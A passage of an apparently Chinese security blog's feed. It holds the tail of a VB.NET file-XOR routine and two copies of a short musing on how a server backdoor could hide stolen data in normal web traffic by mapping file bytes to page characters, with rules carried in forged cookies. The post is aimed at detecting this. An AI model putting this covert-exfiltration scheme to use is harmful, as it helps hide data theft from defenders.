            &lt;span class="k"&gt;Dim&lt;/span&gt; &lt;span class="n"&gt;output&lt;/span&gt; &lt;span class="ow"&gt;As&lt;/span&gt; &lt;span class="kt"&gt;Byte&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;New&lt;/span&gt; &lt;span class="kt"&gt;Byte&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;length&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{}&lt;/span&gt;
            &lt;span class="k"&gt;Dim&lt;/span&gt; &lt;span class="n"&gt;index&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;
            &lt;span class="k"&gt;Dim&lt;/span&gt; &lt;span class="n"&gt;keyindex&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;
            &lt;span class="k"&gt;While&lt;/span&gt; &lt;span class="n"&gt;length&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;
                &lt;span class="k"&gt;Try&lt;/span&gt;
                    &lt;span class="n"&gt;output&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;keyindex&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;br&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;ReadByte&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="ow"&gt;Xor&lt;/span&gt; &lt;span class="n"&gt;keys&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;index&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
                &lt;span class="k"&gt;Catch&lt;/span&gt; &lt;span class="n"&gt;ex&lt;/span&gt; &lt;span class="ow"&gt;As&lt;/span&gt; &lt;span class="n"&gt;Exception&lt;/span&gt;
                    &lt;span class="n"&gt;Console&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;WriteLine&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ex&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Message&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
                &lt;span class="k"&gt;End&lt;/span&gt; &lt;span class="k"&gt;Try&lt;/span&gt;
                &lt;span class="n"&gt;length&lt;/span&gt; &lt;span class="o"&gt;-=&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;
                &lt;span class="k"&gt;If&lt;/span&gt; &lt;span class="n"&gt;index&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;keys&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Length&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt; &lt;span class="k"&gt;Then&lt;/span&gt;
                    &lt;span class="n"&gt;index&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;
                &lt;span class="k"&gt;Else&lt;/span&gt;
                    &lt;span class="n"&gt;index&lt;/span&gt; &lt;span class="o"&gt;+=&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;
                &lt;span class="k"&gt;End&lt;/span&gt; &lt;span class="k"&gt;If&lt;/span&gt;
                &lt;span class="n"&gt;keyindex&lt;/span&gt; &lt;span class="o"&gt;+=&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;
            &lt;span class="k"&gt;End&lt;/span&gt; &lt;span class="k"&gt;While&lt;/span&gt;
            &lt;span class="n"&gt;bw&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Write&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;output&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
            &lt;span class="n"&gt;fs&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Close&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
            &lt;span class="n"&gt;br&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Close&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
            &lt;span class="n"&gt;bw&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Flush&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
            &lt;span class="n"&gt;bw&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Close&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
        &lt;span class="k"&gt;Catch&lt;/span&gt; &lt;span class="n"&gt;ex&lt;/span&gt; &lt;span class="ow"&gt;As&lt;/span&gt; &lt;span class="n"&gt;Exception&lt;/span&gt;
            &lt;span class="n"&gt;Console&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;WriteLine&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ex&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Message&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="k"&gt;End&lt;/span&gt; &lt;span class="k"&gt;Try&lt;/span&gt;
    &lt;span class="k"&gt;End&lt;/span&gt; &lt;span class="k"&gt;Sub&lt;/span&gt;
&lt;span class="k"&gt;End&lt;/span&gt; &lt;span class="k"&gt;Module&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;

&lt;!--block_code_end--&gt;
&lt;p class="md_block last_md_block_in_page"&gt;
    &lt;span class="md_line md_line_dom_embed md_line_with_image md_line_start md_line_end"&gt;&lt;img class="md_compiled " src="/img/NnVleEM4enhaZ2dqeEltVmsrYk4ydXJiblJDekdCNllNdjBPb3RMT3VCRFM4TldlVXIyUTJBPT0.jpg" alt="" title="" &gt;&lt;/span&gt;
&lt;/p&gt;</summary>

  </entry>


  <entry>


    <title>【思考】隐蔽碎片化数据传输的检测</title>

    <link href="https://www.secbig.com/lofter/2017-10-30-si-kao-yin-bi-sui-pian-hua-shu-ju-chuan-shu-de-jian-ce-2"  rel="alternate"></link>

    <updated>2017-10-30T09:43:34Z</updated>
    <id>lofter/2017-10-30-si-kao-yin-bi-sui-pian-hua-shu-ju-chuan-shu-de-jian-ce-2</id>

    <author>
      <name>大安全</name>

    </author>
    <summary type="html">&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;&lt;span class="md_line_space_chars md_line_space_chars_4"&gt;    &lt;/span&gt;今天看到某花的PAPER，突然天马行空的想到了一个问题&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;&lt;span class="md_line_space_chars md_line_space_chars_4"&gt;    &lt;/span&gt;如果服务器被中类似以下情况的后门&lt;/span&gt;
&lt;/p&gt;

&lt;ul class="md_list md_ul"&gt;
&lt;li class="md_li"&gt;&lt;span class="md_li_span"&gt;
&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;&lt;span class="md_line_space_chars md_line_space_chars_2"&gt;  &lt;/span&gt;webshell等类似后门程序&lt;/span&gt;
&lt;/p&gt;

&lt;/span&gt;&lt;/li&gt;
&lt;li class="md_li"&gt;&lt;span class="md_li_span"&gt;
&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;&lt;span class="md_line_space_chars md_line_space_chars_2"&gt;  &lt;/span&gt;在中间件方面添加插件&lt;/span&gt;
&lt;/p&gt;

&lt;/span&gt;&lt;/li&gt;
&lt;li class="md_li"&gt;&lt;span class="md_li_span"&gt;
&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;&lt;span class="md_line_space_chars md_line_space_chars_2"&gt;  &lt;/span&gt;冒充中间件（修改中间件）添加相关指令的情况&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;虽然后来考虑成本其实比较高有点不太现实，但不妨想一想。&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;后门以约定好的算法或约定好的数值传输服务器内相关数据。&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;逻辑大概如下：&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;服务器A被上述方法篡改了相关程序或数据等，通过在http/s等正常通讯中添加约定好的规则或非固定规则(reponse中通过伪造cookie等方式传递规则信息)(文件16进制等方式传递文件16进制解密规则)&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;上述有可能不好理解换句话说就是把文件的16进制的排列方式和正常网页中存在的字符进行绑定（也就是上述的规则）&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;接收端/控制端按照上述规则进行排序解密（一般情况下网页中均含有a-z 0-9 以及部分特殊字符）从而获取服务器端或其他数据。&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;我暂时只想到了防患于未然的方式排查上级程序（被篡改的软件或文件），以及事先进行预防（安全设备等）来解决。&lt;/span&gt;
&lt;/p&gt;

&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p class="md_block last_md_block_in_page"&gt;
    &lt;span class="md_line md_line_dom_embed md_line_with_image md_line_start md_line_end"&gt;&lt;img class="md_compiled " src="/LOFTER/img/NnVleEM4enhaZ2hXN0dPMWVQenYzUGlCUFROZytKNGpQcWhDRVpNZ1hwa1F6d21mSUx0TktRPT0.png" alt="" title="" &gt;&lt;/span&gt;
&lt;/p&gt;</summary>

  </entry>


  <entry>


    <title>【思考】隐蔽碎片化数据传输的检测</title>

    <link href="https://www.secbig.com/2017-10-30-si-kao-yin-bi-sui-pian-hua-shu-ju-chuan-shu-de-jian-ce-2"  rel="alternate"></link>

    <updated>2017-10-30T09:43:34Z</updated>
    <id>2017-10-30-si-kao-yin-bi-sui-pian-hua-shu-ju-chuan-shu-de-jian-ce-2</id>

    <author>
      <name>大安全</name>

    </author>
    <summary type="html">&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;&lt;span class="md_line_space_chars md_line_space_chars_4"&gt;    &lt;/span&gt;今天看到某花的PAPER，突然天马行空的想到了一个问题&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;&lt;span class="md_line_space_chars md_line_space_chars_4"&gt;    &lt;/span&gt;如果服务器被中类似以下情况的后门&lt;/span&gt;
&lt;/p&gt;

&lt;ul class="md_list md_ul"&gt;
&lt;li class="md_li"&gt;&lt;span class="md_li_span"&gt;
&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;&lt;span class="md_line_space_chars md_line_space_chars_2"&gt;  &lt;/span&gt;webshell等类似后门程序&lt;/span&gt;
&lt;/p&gt;

&lt;/span&gt;&lt;/li&gt;
&lt;li class="md_li"&gt;&lt;span class="md_li_span"&gt;
&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;&lt;span class="md_line_space_chars md_line_space_chars_2"&gt;  &lt;/span&gt;在中间件方面添加插件&lt;/span&gt;
&lt;/p&gt;

&lt;/span&gt;&lt;/li&gt;
&lt;li class="md_li"&gt;&lt;span class="md_li_span"&gt;
&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;&lt;span class="md_line_space_chars md_line_space_chars_2"&gt;  &lt;/span&gt;冒充中间件（修改中间件）添加相关指令的情况&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;虽然后来考虑成本其实比较高有点不太现实，但不妨想一想。&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;后门以约定好的算法或约定好的数值传输服务器内相关数据。&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;逻辑大概如下：&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;服务器A被上述方法篡改了相关程序或数据等，通过在http/s等正常通讯中添加约定好的规则或非固定规则(reponse中通过伪造cookie等方式传递规则信息)(文件16进制等方式传递文件16进制解密规则)&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;上述有可能不好理解换句话说就是把文件的16进制的排列方式和正常网页中存在的字符进行绑定（也就是上述的规则）&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;接收端/控制端按照上述规则进行排序解密（一般情况下网页中均含有a-z 0-9 以及部分特殊字符）从而获取服务器端或其他数据。&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;我暂时只想到了防患于未然的方式排查上级程序（被篡改的软件或文件），以及事先进行预防（安全设备等）来解决。&lt;/span&gt;
&lt;/p&gt;

&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p class="md_block last_md_block_in_page"&gt;
    &lt;span class="md_line md_line_dom_embed md_line_with_image md_line_start md_line_end"&gt;&lt;img class="md_compiled " src="/img/NnVleEM4enhaZ2hXN0dPMWVQenYzUGlCUFROZytKNGpQcWhDRVpNZ1hwa1F6d21mSUx0TktRPT0.png" alt="" title="" &gt;&lt;/span&gt;
&lt;/p&gt;</summary>

  </entry>


</feed>